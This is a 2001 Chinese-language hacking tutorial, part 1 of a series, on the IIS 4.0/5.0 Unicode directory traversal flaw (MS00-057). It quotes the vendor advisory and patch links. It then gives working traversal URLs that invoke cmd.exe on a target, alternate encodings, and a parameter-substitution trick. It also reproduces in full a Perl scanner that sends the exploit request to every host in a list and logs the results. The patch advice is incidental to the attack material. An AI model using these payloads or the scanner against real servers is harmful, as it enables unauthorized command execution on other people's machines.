[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5
首頁 > 安全技術 > 其它 > 正文
UNICODE編碼漏洞全攻略-1
作者:badboy 壞男孩俱樂部 (2001-05-20 14:08:00)
 
badboy 壞男孩俱樂部 
這並不是什麼權威教材，只適合菜鳥了解win9x、NT存在的不安全面，切莫 
用此方法在國內做嘗試，如果你偏要如此，那麼由此引起的一切法律後果由 
你自己負責。 
本文只允許在網路任意轉載，但須保留文章的完整性，如把本文作經濟目 
的使用，或者未經本人許可進行印刷、光碟雜、等出版性質的行，本人 
將保留侵權控告的權利。 
 
2000年10月17日中聯綠盟發布了以下的安全公告︰ 
微軟IIS 4.0 / 5.0 擴展UNICODE目錄遍歷漏洞 
遠端漏洞︰是 
本地漏洞︰是 
發布日期︰2000年10月17日 
更新日期︰2000年10月17日 
受影響的版本︰ 
Microsoft IIS 5.0 
+ Microsoft Windows NT 2000 
Microsoft IIS 4.0 
+ Microsoft Windows NT 4.0 
+ Microsoft BackOffice 4.5 
- Microsoft Windows NT 4.0 
+ Microsoft BackOffice 4.0 
- Microsoft Windows NT 4.0 
不受影響的版本︰ 
漏洞描述︰ 
微軟IIS 4.0和5.0都存在利用擴展UNICODE字元取代"/"和"\"而能利用"../" 
目錄遍歷的漏洞。 
未經授權的用戶可能利用IUSR_machinename賬號的上下文空間訪問任何已知 
的文件。該賬號在默認情況下屬Everyone 和Users組的成員，因此任何與 
Web根目錄在同一邏輯驅動器上的能被這些用戶組訪問的文件都能被刪除， 
修改或執行，就如同一個用戶成功登陸所能完成的一樣。 
測試方法︰(以下的程式或方法可能具有攻擊性,如用於非法用途,後果自負!) 
http://target.computer/scripts/..%c1%1c../path/solo.txt 
%c0%af = / 
%c1%9c = \ 
解決方案: 
該漏洞補丁隨微軟安全公告MS00-057一起發布 
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp) 
可以從如下地址下載補丁: 
IIS 4.0 
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp 
IIS 5.0 
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp 
 
（以上原文） 
 
該漏洞一發布後，緊接而來的是多NT網路服務器慘遭黑手，可以說，到目 
前止，網路裡仍存在此漏洞的NT伺服器至少有30%，而這些站點的管理員 
是白痴還是認該漏洞不值得注意？？看來是不曾被黑不落淚，NT站的管理 
員們，看完以下的方法，你快點給你的NT伺服器打補丁吧。 

一、UNICODE漏洞的原理 
此漏洞從中文IIS4.0+SP6開始，還影響中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1， 
台灣繁體中文也同樣存在這樣的漏洞。 
中文版的WIN2000中，UNICODE編碼 存在BUG，在UNICODE 編碼中 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 
在NT4中/編碼%c1%9c 
在英文版裡︰ 
WIN2000英文版%c0%af 
但從國外某些站點得來的資料顯示，還有以下的編碼可以實現對該漏洞的檢測， 
具體情況本人未做詳細的証實︰ 
%c1%pc 
%c0%9v 
%c0%qf 
%c1%8s 
%e0%80%af 
%f0%80%80%af 
%fc%80%80%80%80%af 
或許是什麼日文版、韓文版之類，win2000 Terminal版有興趣的朋友可以試試。 
二、UNICODE漏洞的檢測 
以下均以中文版WIN2K例，如果是其他NT版本，按上面所述的編碼替換以下代 
碼中的 
%c1%1c 
最簡單的檢測方法︰ 
比如說有一IP地址X.X.X.X的WIN2K主機，我們可以在位址欄輸入 
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
如果存在此漏洞的話，我們便可以看到以下的內容︰（例子假設SCRIPTS目錄裡 
無文件） 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 

這是我們在很多經驗交談中常看到大家使用的方法，實際上我們也可以改這樣 
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir 
即r=c 這個字母的取代，在本文發表之前，網路裡沒有介紹過， 
關於r這字母可以等效於c,我們可以通過cmd/?可以得到解釋。 

當然，如果目標主機的管理員把該目錄刪除掉，我們就無法看到了，但是還有 
以下的目錄是同樣可以用來測試的。 
http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
運行後，我們可以看到 
Directory of c:\program files\common files\system\msadc 
2000-08-06 19:16  . 
2000-08-06 19:16  .. 
（以下內容略） 
19 File(s) 1,233,840 bytes 
2 Dir(s) 6,290,644,992 bytes free 

如果漏洞和目錄同時存在的話，你就可以在WEB頁上看到相對應的目錄裡的一 
切內容。這僅是對單一目標主機的漏洞檢測，如果想對某一IP段上的NT主機做 
UNICODE漏洞的檢測，我們就需要使用類似以下的掃描軟體。 
以下的源碼是外國黑客寫的，當然就只掃描英文版的NT，要掃描中文版的，需要 
做相應的修改。 
#!/usr/bin/perl 
#Root Shell Hackers 
#piffy 
#this is a quick scanner i threw together while supposedly doing homework in my room. 
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole 
#it checks for both %c0%af and %c1%9c 
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0 
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =] 
use strict; 
use LWP::UserAgent; 
use HTTP::Request; 
use HTTP::Response; 
my $def = new LWP::UserAgent; 
my @host; 
print "root shell hackers\n"; 
print "iis cmd hole scanner\n"; 
print "coded by piffy\n"; 
print "\nWhat file contains the hosts: "; 
chop (my $hosts=); 
open(IN, $hosts) || die "\nCould not open $hosts: $!"; 
while () 
{ 
$host[$a] = $_; 
chomp $host[$a]; 
$a++; 
$b++; 
} 
close(IN); 
$a = 0; 
print "ph34r, scan started"; 
while ($a < $b) 
{ 
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ "; 
my $request = new HTTP::Request('GET', $url); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 
} 
&second() 
} 

sub second() { 
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ "; 
my $request = new HTTP::Request('GET', $url2); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 
} 
$a++; 
} 


 
以上的pl程式你可以在本機運行（當然需要安裝PERL），也可以在遠端的 
伺服器上運行。 
(http://www.fanqiang.com)     進入【UNIX論壇】
相關文章

===菠===
 

★  樊強制作 歡迎分享  ★